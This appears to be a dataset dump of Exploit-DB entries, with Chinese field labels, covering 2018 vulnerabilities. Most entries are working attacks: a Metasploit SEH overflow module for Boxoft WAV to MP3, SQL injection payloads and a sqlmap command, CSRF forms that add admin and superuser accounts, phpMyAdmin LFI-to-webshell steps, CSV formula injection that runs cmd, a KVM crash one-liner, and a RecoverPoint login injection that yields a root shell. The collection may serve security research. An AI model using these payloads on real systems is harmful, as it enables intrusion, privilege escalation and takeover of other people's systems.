QLWD/code_shield huggingface dataset:
标题: Boxoft WAV to MP3 Converter 1.1 - Buffer Overflow (Metasploit) EDB-ID: 44971 CVE: 2015-7243 类型: LOCAL 平台: WINDOWS 发布日期: 2018-07-03 漏洞利用脚本: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Boxoft WAV to MP3 Converter v1.1 Buffer Overflow",
      'Description'    => %q{
       This module exploits a stack buffer overflow in Boxoft WAV to MP3 Converter versions 1.0 and 1.1.
       By constructing a specially crafted WAV file and attempting to convert it to an MP3 file in the
       application, a buffer is overwritten, which allows for running shellcode.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Robbie Corley', # EDB POC
          'Shelby Pace'    # Metasploit Module
        ],
      'References'     =>
        [
          [ 'CVE', '2015-7243' ],
          [ 'EDB', '38035' ]
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          [
            'Boxoft WAV to MP3 Converter v1.1',
            {
              'Ret' => 0x0040144c # P/P/R from wavtomp3.exe (1.1.0.0)
            }
          ]
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00"
        },
      'Privileged'     => false,
      'DisclosureDate' => "Aug 31 2015",
      'DefaultTarget'  => 0))

    register_options(
    [
      OptString.new('FILENAME', [true, 'The malicious file name', 'music.wav'])
    ])
  end

  def exploit
    file_payload = payload.encoded

    buf = make_fast_nops(4132)
    buf << "\xeb\x06#{Rex::Text.rand_text_alpha(2, payload_badchars)}" # nseh (jmp to payload)
    buf << [target.ret].pack("V*")  # seh
    buf << file_payload
    # Size isn't very sensitive
    buf << make_fast_nops(5860)

    file_create(buf)
  end
end URL: https://www.exploit-db.com/exploits/44971
标题: HongCMS 3.0.0 - (Authenticated) SQL Injection EDB-ID: 44953 CVE: 2018-12912 类型: WEBAPPS 平台: PHP 发布日期: 2018-06-28 漏洞利用脚本: # Exploit Title: HongCMS 3.0.0 - SQL Injection
# Google Dork: [if applicable]
# Date: 2018/06/26
# Exploit Author: Hzllaga
# Vendor Homepage: https://github.com/Neeke/HongCMS/
# Software Link: https://github.com/Neeke/HongCMS/
# Version: 3.0.0
# Tested on: php5.4 mysql5
# CVE : CVE-2018-12912

POC (Administrator Privilege):

/admin/index.php/database/operate?dbaction=emptytable&tablename=hong_vvc%60%20where%20vvcid%3D1%20or%20updatexml%282%2Cconcat%280x7e%2C%28version%28%29%29%29%2C0%29%20or%20%60 URL: https://www.exploit-db.com/exploits/44953
标题: WordPress Plugin iThemes Security < 7.0.3 - SQL Injection EDB-ID: 44943 CVE: 2018-12636 类型: WEBAPPS 平台: PHP 发布日期: 2018-06-25 漏洞利用脚本: # Exploit Title: WordPress Plugin iThemes Security(better-wp-security) <= 7.0.2 - Authenticated SQL Injection
# Date: 2018-06-25
# Exploit Author: Çlirim Emini

# Website: https://www.sentry.co.com/
# Vendor Homepage: https://ithemes.com/
# Software Link: https://wordpress.org/plugins/better-wp-security/
# Version/s: 7.0.2 and below
# Patched Version: 7.0.3
# CVE : 2018-12636
# WPVULNDB: https://wpvulndb.com/vulnerabilities/9099

Plugin description:

iThemes Security works to lock down WordPress, fix common holes, stop automated attacks and strengthen user credentials. With advanced features for experienced users, this WordPress security plugin can help harden WordPress.

Description:

WordPress Plugin iThemes Security(better-wp-security) before 7.0.3 allows remote authenticated users to execute arbitrary SQL commands via the 'orderby' parameter in the 'itsec-logs' page to wp-admin/admin.php.

Technical details:

Parameter orderby is vulnerable because backend variable $sort_by_column
is not escaped.

File: better-wp-security/core/admin-pages/logs-list-table.php
Line 271: if ( isset( $_GET[' orderby '], $_GET['order'] ) ) {
Line 272: $ sort_by_column = $_GET[' orderby '];

File: better-wp-security/core/lib/log-util.php
Line 168: $query .= ' ORDER BY ' . implode( ', ', $ sort_by_column ));

Proof of Concept (PoC):

The following GET request will cause the SQL query to execute and sleep for 10 seconds if clicked on as an authenticated admin:

http://localhost/wp-admin/admin.php?page=itsec-logs&filter=malware&orderby=remote_ip%2c(select*from(select(sleep(10)))a)&order=asc&paged=0

Using SQLMAP:

sqlmap -u 'http://localhost/wp-admin/admin.php?page=itsec-logs&filter=malware&orderby=remote_ip*&order=asc&paged=0' --cookie "wordpress_b...; wordpress_logged_in_bbf...;" --string "WordPress" --dbms=MySQL --technique T --level 5 --risk 3 URL: https://www.exploit-db.com/exploits/44943
标题: BEESCMS 4.0 - Cross-Site Request Forgery (Add Admin) EDB-ID: 44952 CVE: 2018-12739 类型: WEBAPPS 平台: PHP 发布日期: 2018-06-28 漏洞利用脚本: # Exploit Title: A CSRF vulnerability exists in BEESCMS_V4.0: The administrator can be added arbitrarily.
# Date: 2018-06-25
# Exploit Author: bay0net
# Vendor Homepage: https://www.cnblogs.com/v1vvwv/p/9226389.html
# Software Link: http://www.beescms.com/
# Version: BEESCMS - V4.0
# CVE : CVE-2018-12739

A CSRF vulnerability exists in BEESCMS_V4.0: The administrator can be added arbitrarily.

The payload for attack is as follows.

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://10.211.55.17/beescms/admin/admin_admin.php?nav=list_admin_user&admin_p_nav=user" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="admin_name" value="test1" />
      <input type="hidden" name="admin_password" value="test1" />
      <input type="hidden" name="admin_password2" value="test1" />
      <input type="hidden" name="admin_nich" value="test1" />
      <input type="hidden" name="purview" value="1" />
      <input type="hidden" name="admin_admin" value="" />
      <input type="hidden" name="admin_mail" value="" />
      <input type="hidden" name="admin_tel" value="" />
      <input type="hidden" name="is_disable" value="0" />
      <input type="hidden" name="action" value="save_admin" />
      <input type="hidden" name="submit" value="确定" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html> URL: https://www.exploit-db.com/exploits/44952
标题: KVM (Nested Virtualization) - L1 Guest Privilege Escalation EDB-ID: 44944 CVE: 2018-12904 类型: DOS 平台: LINUX 发布日期: 2018-06-25 漏洞利用脚本: When KVM (on Intel) virtualizes another hypervisor as L1 VM it does not verify that VMX instructions from the L1 VM (which trigger a VM exit and are emulated by L0 KVM) are coming from ring 0.

For code running on bare metal or VMX root mode this is enforced by hardware. However, for code running in L1, the instruction always triggers a VM exit even when executed with cpl 3. This behavior is documented by Intel (example is for the VMPTRST instruction):

(Intel Manual 30-18 Vol. 3C) 
IF (register operand) or (not in VMX operation) or (CR0.PE = 0) or (RFLAGS.VM = 1) or (IA32_EFER.LMA = 1 and CS.L = 0)
 THEN #UD;
ELSIF in VMX non-root operation
 THEN VMexit;
ELSIF CPL > 0
 THEN #GP(0);
ELSE
 64-bit in-memory destination operand ← current-VMCS pointer;

This means that a normal user space program running in the L1 VM can trigger KVMs VMX emulation which gives a large number of privilege escalation vectors (fake VMCS or vmptrld / vmptrst to a kernel address are the first that come to mind). As VMX emulation code checks for the guests CR4.VMXE value this only works if a L2 guest is running. 

A somewhat realistic exploit scenario would involve someone breaking out of a L2 guest (for example by exploiting a bug in the L1 qemu process) and then using this bug for privilege escalation on the L1 system.  

Simple POC (tested on L0 and L1 running Ubuntu 18.04 4.15.0-22-generic). 
This requires that a L2 guest exists: 

echo 'main(){asm volatile ("vmptrst 0xffffffffc0031337");}'| gcc -xc - ; ./a.out

[ 2537.280319] BUG: unable to handle kernel paging request at ffffffffc0031337 URL: https://www.exploit-db.com/exploits/44944
标题: WordPress Plugin Comments Import & Export < 2.0.4 - CSV Injection EDB-ID: 44940 CVE: 2018-11526 类型: WEBAPPS 平台: PHP 发布日期: 2018-06-25 漏洞利用脚本: # Exploit Title: Wordpress Plugin Comments Import & Export < 2.0.4 - CSV Injection
# Google Dork: N/A
# Date: 2018-06-24
# Exploit Author: Bhushan B. Patil
# Software Link: https://wordpress.org/plugins/comments-import-export-woocommerce/
# Affected Version: 2.0.4 and before
# Category: Plugins and Extensions
# Tested on: WiN7_x64
# CVE: CVE-2018-11526

# 1. Application Description:
# Comments Import Export Plugin helps you to easily export and import Article and Product Comments in your store.

# 2. Technical Description:
# WordPress Comments Import & Export plugin version 2.0.4 and before are affected by the vulnerability Remote Command Execution
# using CSV Injection. This allows a public user to inject commands as a part of form fields and when a user with
# higher privilege exports the form data in CSV opens the file on their machine, the command is executed.

# 3. Proof Of Concept:
Enter the payload @SUM(1+1)*cmd|' /C calc'!A0 in the form fields and submit.
When high privileged user logs into the application to export form data in CSV and opens the file.
Formula gets executed and calculator will get popped in his machine. URL: https://www.exploit-db.com/exploits/44940
标题: Ecessa ShieldLink SL175EHQ < 10.7.4 - Cross-Site Request Forgery (Add Superuser) EDB-ID: 44938 CVE: 2018-13032 类型: WEBAPPS 平台: HARDWARE 发布日期: 2018-06-25 漏洞利用脚本: # Exploit Title: Ecessa ShieldLink SL175EHQ 10.7.4 - Cross-Site Request Forgery (Add Superuser)
# Date: 2018-05-21
# Vendor: Ecessa Corporation
# Product web page: https://www.ecessa.com
# Affected version: 10.7.4, 10.6.9, 10.7.4, 10.6.5.2, 10.5.4, 10.2.24, 9.2.24

# Summary: Ecessa's ShieldLink 60, 175, 600,1200 & 4000 are advanced, yet highly
# affordable secure WAN Optimization Controllers that incorporate all of the ISP/WAN
# link.

# Desc: The application interface allows users to perform certain actions via
# HTTP requests without performing any validity checks to verify the requests.
# This can be exploited to perform certain actions with administrative privileges
# if a logged-in user visits a malicious web site.

<html>
  <body>
    <form action="https://127.0.0.1/cgi-bin/pl_web.cgi/util_configlogin_act" method="POST">
      <input type="hidden" name="savecrtcfg" value="checked" />
      <input type="hidden" name="user_username1" value="root" />
      <input type="hidden" name="user_enabled1" value="on" />
      <input type="hidden" name="user_passwd1" value="" />
      <input type="hidden" name="user_passwd_verify1" value="" />
      <input type="hidden" name="user_delete1" value="" />
      <input type="hidden" name="user_username2" value="admin" />
      <input type="hidden" name="user_passwd2" value="" />
      <input type="hidden" name="user_passwd_verify2" value="" />
      <input type="hidden" name="user_delete2" value="" />
      <input type="hidden" name="user_username3" value="user" />
      <input type="hidden" name="user_enabled3" value="on" />
      <input type="hidden" name="user_passwd3" value="" />
      <input type="hidden" name="user_passwd_verify3" value="" />
      <input type="hidden" name="user_delete3" value="" />
      <input type="hidden" name="user_username4" value="h4x0r" />
      <input type="hidden" name="user_enabled4" value="on" />
      <input type="hidden" name="user_superuser4" value="on" />
      <input type="hidden" name="user_passwd4" value="123123" />
      <input type="hidden" name="user_passwd_verify4" value="123123" />
      <input type="hidden" name="users_num" value="4" />
      <input type="hidden" name="page" value="util_configlogin" />
      <input type="hidden" name="val_requested_page" value="user_accounts" />
      <input type="hidden" name="savecrtcfg" value="checked" />
      <input type="hidden" name="page_uuid" value="df220e51-db68-492e-a745-d14adfd2f4fb" />
      <input type="hidden" name="form_has_changed" value="1" />
      <input type="submit" value="Supersize!" />
    </form>
  </body>
</html> URL: https://www.exploit-db.com/exploits/44938
标题: phpMyAdmin 4.8.1 - (Authenticated) Local File Inclusion (2) EDB-ID: 44928 CVE: 2018-12613 类型: WEBAPPS 平台: PHP 发布日期: 2018-06-22 漏洞利用脚本: # Exploit Title: phpMyAdmin 4.8.1 - Local File Inclusion to Remote Code Execution
# Date: 2018-06-21
# Exploit Author: VulnSpy
# Vendor Homepage: http://www.phpmyadmin.net
# Software Link: https://github.com/phpmyadmin/phpmyadmin/archive/RELEASE_4_8_1.tar.gz
# Version: 4.8.0, 4.8.1
# Tested on: php7 mysql5
# CVE : CVE-2018-12613

1. Run SQL Query : select '<?php phpinfo();exit;?>'
2. Include the session file :
http://1a23009a9c9e959d9c70932bb9f634eb.vsplate.me/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_11njnj4253qq93vjm9q93nvc7p2lq82k URL: https://www.exploit-db.com/exploits/44928
标题: DIGISOL DG-BR4000NG - Cross-Site Scripting EDB-ID: 44935 CVE: 2018-12705 类型: WEBAPPS 平台: HARDWARE 发布日期: 2018-06-25 漏洞利用脚本: # Exploit Title: DIGISOL DG-BR4000NG - Cross-Site Scripting
# Date: 2018-06-24
# Vendor Homepage:  http://www.digisol.com
# Hardware Link: https://www.amazon.in/Digisol-DG-BR4000NG-Wireless-Broadband-802-11n/dp/B00A19EHYK
# Category: Hardware
# Exploit Author: Adipta Basu
# Contact : https://www.facebook.com/AdiptaBasu
# Web: https://hackings8n.blogspot.com
# Tested on: Mac OS High Sierra
# CVE: CVE-2018-12705
 
# Reproduction Steps:
 
- Goto your Wifi Router Gateway [i.e: http://192.168.2.1]
- Go to --> "General Setup" --> "Wireless" --> "Basic Settings"
- Open BurpSuite
- Change the SSID to "Testing" and hit "Apply"
- Burp will capture the intercepts.
- Now change the SSID to <script>alert("ADIPTA")</script>
- Refresh the page, and you will get the "ADIPTA" pop-up URL: https://www.exploit-db.com/exploits/44935
标题: DIGISOL DG-BR4000NG - Buffer Overflow (PoC) EDB-ID: 44934 CVE: 2018-12706 类型: DOS 平台: HARDWARE 发布日期: 2018-06-25 漏洞利用脚本: # Exploit Title: DIGISOL DG-BR4000NG - Buffer Overflow (PoC)
# Date 2018-06-24
# Vendor Homepage† http://www.digisol.com
# Hardware Link httpswww.amazon.inDigisol-DG-BR4000NG-Wireless-Broadband-802-11ndpB00A19EHYK
# Version: DIGISOL DG-BR4000NG Wireless Router
# Category Hardware
# Exploit Author Adipta Basu
# Tested on Mac OS High Sierra
# CVE CVE-2018-12706

# Reproduction Steps

- Goto your Wifi Router Gateway [i.e http192.168.2.1]
- Go to -- General Setup -- Wireless -- Basic Settings
- Open BurpSuite
- Reload the Page
- Burp will capture the intercepts.
- Add a string of 500 ì0îs after the Authorization Basic string
- The router will restart.
- Refresh the page, and the whole web interface will be faulty. URL: https://www.exploit-db.com/exploits/44934
标题: QEMU Guest Agent 2.12.50 - Denial of Service EDB-ID: 44925 CVE: 2018-12617 类型: DOS 平台: LINUX 发布日期: 2018-06-22 漏洞利用脚本: # Exploit Title: QEMU Guest Agent 2.12.50 - Denial of Service
# Date: 2018-06-07
# Exploit Author: Fakhri Zulkifli (@d0lph1n98)
# Vendor Homepage: https://www.qemu.org/
# Software Link: https://www.qemu.org/download/
# Version: 2.12.50 and earlier
# Tested on: 2.12.50
# CVE : CVE-2018-12617

# QEMU Guest Agent 2.12.50 and earlier has an integer overflow causing a g_malloc0() 
# call to trigger a segfault() call when trying to allocate a large memory chunk. 
# The vulnerability can be exploited by sending a specific QMP command to 
# the agent via the listening socket.

1st, execute the guest-agent using the following command:

$ qemu-ga -m unix-listen -p /tmp/qga.sock -t /tmp

2nd, on the other console, connect to the UNIX socket using socat:

$ socat unix-connect:/tmp/qga.sock -

3rd, enter the following QMP command:

{"execute":"guest-file-open", "arguments":{"path":"/tmp/poc","mode":"w+”}}
{"return": 1000}
{"execute":"guest-file-read", "arguments":{"handle":1000,"count":4294967295}}

The guest-file-read must be specified with the correct handle value (file descriptor). Different files will have different handle value.

#0 0x5598eed0a1af in calloc /home/user/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:107
#1 0x7f2ce5d7d770 in g_malloc0 (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4f770)
#2 0x5598eed84996 in qmp_marshal_guest_file_read /home/user/qemu/qga/qapi-generated/qga-qapi-commands.c:425:14
#3 0x5598eeda4fcf in do_qmp_dispatch /home/user/qemu/qapi/qmp-dispatch.c:119:5
#4 0x5598eeda4fcf in qmp_dispatch /home/user/qemu/qapi/qmp-dispatch.c:168
#5 0x5598eed59bff in process_command /home/user/qemu/qga/main.c:589:11
#6 0x5598eed59bff in process_event /home/user/qemu/qga/main.c:626
#7 0x5598eedb5f13 in json_message_process_token /home/user/qemu/qobject/json-streamer.c:105:5
#8 0x5598eee25d9b in json_lexer_feed_char /home/user/qemu/qobject/json-lexer.c:323:13
#9 0x5598eee25333 in json_lexer_feed /home/user/qemu/qobject/json-lexer.c:373:15
#10 0x5598eed5a95e in channel_event_cb /home/user/qemu/qga/main.c:659:9
#11 0x5598eed710c1 in ga_channel_client_event /home/user/qemu/qga/channel-posix.c:92:23
#12 0x7f2ce5d78049 in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4a049)

# References:
# 1. https://lists.gnu.org/archive/html/qemu-devel/2018-06/msg03385.html URL: https://www.exploit-db.com/exploits/44925
标题: WordPress Plugin Advanced Order Export For WooCommerce < 1.5.4 - CSV Injection EDB-ID: 44931 CVE: 2018-11525 类型: WEBAPPS 平台: PHP 发布日期: 2018-06-25 漏洞利用脚本: # Exploit Title: Wordpress Plugin Advanced Order Export For WooCommerce < 1.5.4 - CSV Injection
# Google Dork: N/A
# Date: 2018-06-24
# Exploit Author: Bhushan B. Patil
# Software Link: https://wordpress.org/plugins/woo-order-export-lite/
# Affected Version: 1.5.4 and before
# Category: Plugins and Extensions
# Tested on: WiN7_x64
# CVE: CVE-2018-11525

# 1. Application Description:
# The plugin helps you to easily export WooCommerce order data. Export any custom field assigned 
# to orders/products/coupons is easy and you can select from various formats to export the data 
# in such as CSV, XLS, XML and JSON.

# 2. Technical Description:
# Advanced Order Export For WooCommerce plugin version 1.5.4 and before are affected by the vulnerability
# Remote Command Execution using CSV Injection. This allows a public user to inject commands as a part of 
# form fields and when a user with higher privilege exports the form data in CSV opens the file on their machine,
# the command is executed.

# 3. Proof Of Concept:
 
Enter the payload @SUM(1+1)*cmd|' /C calc'!A0 in the form fields and submit.

# When high privileged user logs into the application to export form data in CSV and opens the file.
# Formula gets executed and calculator will get popped in his machine. URL: https://www.exploit-db.com/exploits/44931
标题: GreenCMS 2.3.0603 - Information Disclosure EDB-ID: 44922 CVE: 2018-12604 类型: WEBAPPS 平台: PHP 发布日期: 2018-06-22 漏洞利用脚本: # Exploit Title: GreenCMS 2.3.0603 - remote obtain sensitive information
# Date: 2018-06-21
# Exploit Author: vr_system
# Vendor Homepage: https://github.com/GreenCMS/GreenCMS/
# Software Link: https://github.com/GreenCMS/GreenCMS/
# Version: GreenCMS 2.3.0603
# Tested on: windows 7
# CVE : CVE-2018-12604

#  POC£ºhttp://site.com/Data/Log/year_month_day.log.
# Tested Link: 
http://site.com/GreenCMS-beta/Data/Log/18_06_20.log  
http://site.com/Data/Log/18_06_20.log URL: https://www.exploit-db.com/exploits/44922
标题: phpMyAdmin 4.8.1 - (Authenticated) Local File Inclusion (1) EDB-ID: 44924 CVE: 2018-12613 类型: WEBAPPS 平台: PHP 发布日期: 2018-06-21 漏洞利用脚本: The latest version downloaded from the official website, the file name is phpMyAdmin-4.8.1-all-languages.zip

The problem appears in /index.php

Find 55~63 lines

Line 61 contains include $_REQUEST['target'];

This is obviously LFI precursor, as long as we bypass the 55 to 59 restrictions on the line

Line 57 restricts the target parameter from beginning with index

Line 58 limit target parameter cannot appear within $target_blacklist

Find the definition of $target_blacklist :

In /index.php the first of 50 lines

As long as the target parameter is not import.php or export.php, the last limit is Core::checkPageValidity($_REQUEST['target'])

Find the checkPageValidity method of the Core class :

Defined in the \ libraries \ classes \ core.php on the 443 line

The problem is in urldecode() on line 465

We can use this function to bypass the white list detection!

I ? Twice url encoded as % 253f can bypass the validation!

Payload:

http://127.0.0.1/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../windows/wininit.ini


- - - 

I thought the loophole was over, because I didn't find out where phpmyadmin could perform file operations to implement Getshell . After several weeks of inspiration, I thought of a way to get Shell without writing files .

We all know that after login phpmyadmin , the database is completely controllable, then we can write the WebShell to the database and then include the database file?

Tested locally, I found that if you use WebShell as the field value of the data table can be perfectly written to the database file:

Find the corresponding database file:

Include:

Payload:

http://127.0.0.1/phpmyadmin/index.php?a=phpinfo();&target=db_sql.php%253f/../../../../../../phpStudy/PHPTutorial/MySQL/data/hack/hack.frm URL: https://www.exploit-db.com/exploits/44924
标题: LFCMS 3.7.0 - Cross-Site Request Forgery (Add User) EDB-ID: 44918 CVE: 2018-12602 类型: WEBAPPS 平台: PHP 发布日期: 2018-06-21 漏洞利用脚本: # Exploit Title: A CSRF vulnerability exists in LFCMS_3.7.0: users can be added arbitrarily.
# Date: 2018-06-20
# Exploit Author: bay0net
# Vendor Homepage: https://www.cnblogs.com/v1vvwv/p/9203740.html
# Software Link: http://www.lfdycms.com/home/down/index/id/26.html
# Version: 3.7.0
# CVE : CVE-2018-12602


A CSRF vulnerability exists in LFCMS_3.7.0: users can be added arbitrarily.


The payload for attack is as follows.


<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://10.211.55.17/lfdycms3.7.0/admin.php?s=/Users/add.html" method="POST">
      <input type="hidden" name="username" value="test222" />
      <input type="hidden" name="email" value="test2@qq.com" />
      <input type="hidden" name="password" value="test222" />
      <input type="hidden" name="repassword" value="test222" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html> URL: https://www.exploit-db.com/exploits/44918
标题: Dell EMC RecoverPoint < 5.1.2 - Local Root Command Execution EDB-ID: 44920 CVE: 2018-1235 类型: LOCAL 平台: LINUX 发布日期: 2018-06-21 漏洞利用脚本: # Exploit Title: Dell EMC RecoverPoint < 5.1.2 - Local Root Command Execution
# Date: 2018-06-21
# Exploit Author: Paul Taylor
# Version: All versions before RP 5.1.2, and all versions before RP4VMs 5.1.1.3
# Vendor Advisory: DSA-2018-095
# Vendor KB: https://support.emc.com/kb/521234
# Github: https://github.com/bao7uo/dell-emc_recoverpoint
# Website: https://www.foregenix.com/blog/foregenix-identify-multiple-dellemc-recoverpoint-zero-day-vulnerabilities
# Tested on: RP4VMs 5.1.1.2, RP 5.1.SP1.P2
# CVE: CVE-2018-1235
 
# 1. Description
# An OS command injection vulnerability exists in the mechanism which processes usernames 
# which are presented for authentication, allowing unauthenticated root access 
# via tty console login.
 
# 2. Proof of Concept
# Inject into local tty console login prompt

recoverpoint login: $(bash > &2)
root@recoverpoint:/# id
uid=0(root) gid=0(root) groups=0(root)
root@recoverpoint:/# URL: https://www.exploit-db.com/exploits/44920